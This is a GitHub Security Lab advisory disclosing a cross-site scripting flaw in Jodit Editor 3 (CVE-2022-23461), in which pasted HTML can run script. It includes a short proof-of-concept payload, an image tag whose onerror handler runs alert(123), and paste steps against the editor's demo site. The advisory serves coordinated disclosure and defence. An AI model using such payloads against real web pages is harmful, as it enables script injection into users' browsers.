skip to content
Back to GitHub.com
Home Bounties Research Advisories Get Involved Events
September 9, 2022

GHSL-2022-030: Cross-Site Scripting (XSS) in Jodit Editor 3 - CVE-2022-23461

GitHub Security Lab

Coordinated Disclosure Timeline

Summary

Jodit Editor 3 is vulnerable to XSS attacks when pasting specially constructed input.

Product

Jodit Editor 3

Tested Version

3.16.5

Details

Issue: XSS in jodit editor (GHSL-2022-030)

This LGTM query run highlights several locations, all of which I believe to be exploitable. I believe this is the location triggered by the PoC.

PoC:

  1. Open https://cdn.sekurak.pl/copy-paste/playground.html in your browser, enter the text below in the HTML Input box:
<html>
  <body>
  <meta name=Generator content="Microsoft Word 15">
  <img src="" onerror="alert(123)" />
  </body>
</html>
  1. Click Copy as HTML.
  2. Go to https://xdsoft.net/jodit/
  3. Paste the text you copied in [3].
  4. Click Keep.
  5. JavaScript: alert(123) is executed.

Impact

This issue may lead to XSS in any webpage that uses the editor. Users who copy-paste content from a page controlled by an attacker may be vulnerable.

CVE

Credit

This issue was discovered by CodeQL team members @kaeluka (Stephan Brandauer) and @erik-krogh (Erik Krogh Kristensen), using a CodeQL query originally contributed by community member @bananabr (Daniel Santos).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2022-030 in any communication regarding this issue.